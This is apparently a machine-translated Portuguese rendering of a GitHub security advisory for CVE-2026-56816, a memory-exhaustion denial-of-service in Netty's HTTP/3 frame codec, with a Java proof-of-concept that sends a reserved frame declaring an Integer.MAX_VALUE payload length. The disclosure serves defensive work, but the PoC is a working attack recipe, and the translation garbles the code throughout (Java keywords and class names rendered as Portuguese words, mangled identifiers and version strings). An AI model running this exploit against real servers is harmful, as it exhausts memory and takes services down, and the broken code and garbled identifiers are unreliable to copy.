### Sumário Http da Netty 3 FrameCodec buffers entrante para HTTP/ 3 tipos de quadros reservados até o comprimento de carga útil especificado sem limites. O comprimento da carga útil é lido diretamente do fio e confiável sem validação. Um ator ruim pode enviar um quadro reservado com um comprimento de carga útil até o inteiro.MAX_VALUE, fazendo com que o servidor guarde os dados na memória. Isto leva a um OOM e a uma Negação gradual do Serviço devido ao exaustão da memória, à medida que vários fluxos são abertos. ### Detalhes `io.netty.handler.codec.http 3.Http 3 FrameCodec#decodeFrame` manipula os tipos de quadros reservados como segue: ```java // Manejando tipos de quadros reservados // 32 # seção- 7.2.8 if (in.readableBytes() < payLoadLongth) { retorna 0; } ``` O `payLoadLongth` é lido diretamente a partir do fio e confiável implicitamente. Como `payLoadLongth` pode ser até o inteiro.MAX_VALUE e não há aplicação máxima da extensão da carga útil para os quadros reservados, o decodificador irá acumular bytes em memória até que o comprimento fornecido pelo fio seja atingido. Isto permite que um ator ruim escape a memória do servidor abrindo vários fluxos QUIC e enviando quadros reservados com grandes comprimentos de carga útil, seguidos por uma pequena quantidade de dados (por exemplo, até o limite definido) em cada fluxo.

```java @Test vôo público test() lança exceção { Grupo EventLoopGroup = novo MultiThreadIoEventLoopGroup( 1, NioLoHandler.newFactory()); tente { X 509 Bundle cert = novo CertificateBuilder().subject("cn=localhost").setIsCertificateAuthority( true).buildSelfSignifished(); QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()).applicationProtocolos(Http 3. supportedApplicationProtocols()).build(). Server CountDownLatchConneçãoFechado = novo CountDownLatch( 1 ); ChannelHandler serverCodec = Http 3.newQuicServerCodecBuilder().sslContext(serverContext).maxIdleTimeout( 5000, TimeUnit.MILLISECONDS).inicialMaxData( 10 _ 000 _ 000 ).inicialMaxStreamDataBidirecionalLocal( 1 _ 000 _ 000 ).inicialMaxStreamDataBidirecionalRemote( 1 _ 000 _ 000 ).inicialMaxStreamsBidirecional( 100 ).tokenHandler(InsecureQuicTokenHandler.INSTANCE).handler(novo canalInicializador () { @Override protected vacual initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConexãoEncerrada.countDown()); ch.pipeline().addLast(novo Http 3 ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public vacuum exceptionCaught( ChannelHandlerContext ctx, causa jogável) { cause.printStackTrace(); ctx.close(); } })); } }).build(); Servidor de canal = novo Bootstrap().group(group).channel(NioDatagramChannel.class).handler(serverCodec).bind(" 127.0.0.1 ", 0 ).sync().channel(). QuicSslContext clientContext = QuicSslContextBuilder.forClient().trustManager(InsecureTrustManagerFactory.INSTANCE).applicationProtocolos(Http) 3. supportedApplicationProtocols()).build(); ChannelHandler clientCodec = Http 3.newQuicClientCodecBuilder().sslContext(clientContext).maxIdleTimeout( 5000, TimeUnit.MILLISECONDS).inicialMaxData( 10 _ 000 _ 000 ).inicialMaxStreamDataBidirecionalLocal( 1 _ 000 _ 000 ). build();.

Cannel client = novo Bootstrap().group(group).canal(NioDatagramChannel.class).handler(clientCodec).bind( 0 ).sync().channel(). QuicChannel quicChannel = QuicChannel.novoBootstrap(cliente).handler(novo Http 3 Conexão do ClienteHandler()).remoteAddress(server.localAddress()).localAddress(client.localAddress()).connect().get(); QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECCIONAL, novo ChannelInboundHandlerAdapter()).get(). Cabeçalho do ByteBuf = Unpooled.buffer(); // Escreva o tipo de quadro reservado ( 64 ) header.writeByte( 0 x 40 ); header.writeByte( 0 x 40 ); // Escreva o comprimento de carga útil (Integer.MAX_ VALUE) cabeçalho.writeByte( 0 xC 0 ); header.writeByte( 0 x 00 ); header.writeByte( 0 x 00 ); header.writeByte( 0 x 00 ); header.writeByte( 0 x 7 F); header.writeByte( 0 xFF); header.writeByte( 0 xFF); header.writeByte( 0 xFF);.

rawStream.write( header). // Escreva o máximo permitido de carga útil internaTamanho = 1 _ 000 _ 000; ByteBuf carga útil = Unpooled. wrappedBuffer(novo byte[payloadSize]); rawStream.writeAndFlush(payload).sync(); asserteTrue(quicChannel.isActive()). QuicChannel.closeFuture().await( 5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finalmente { group.shutdownGracefully(); } } ``` ### Negação de Impacto do Serviço devido ao esgotamento gradual da memória. Qualquer aplicativo usando o HTTP/ Netty 3 O codec é afetado. Registro de aconselhamento: GHSA- hpcc- 26 xq-. 25 fv. Identificadores relacionados: CVE- 2026 - 56816.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 22 T 21: 42: 42.000 Z e lista a sua última modificação como 2026 - 07 - 22 T 21: 42: 43.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Software afetado e informações de versão: Pacote Maven io.netty:netty-codec-http 3 — ECOSISTEM: introduzido 0, corrigido 4.2.16.Final. Classificação e evidência: identificadores de fraqueza CWE- 400. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.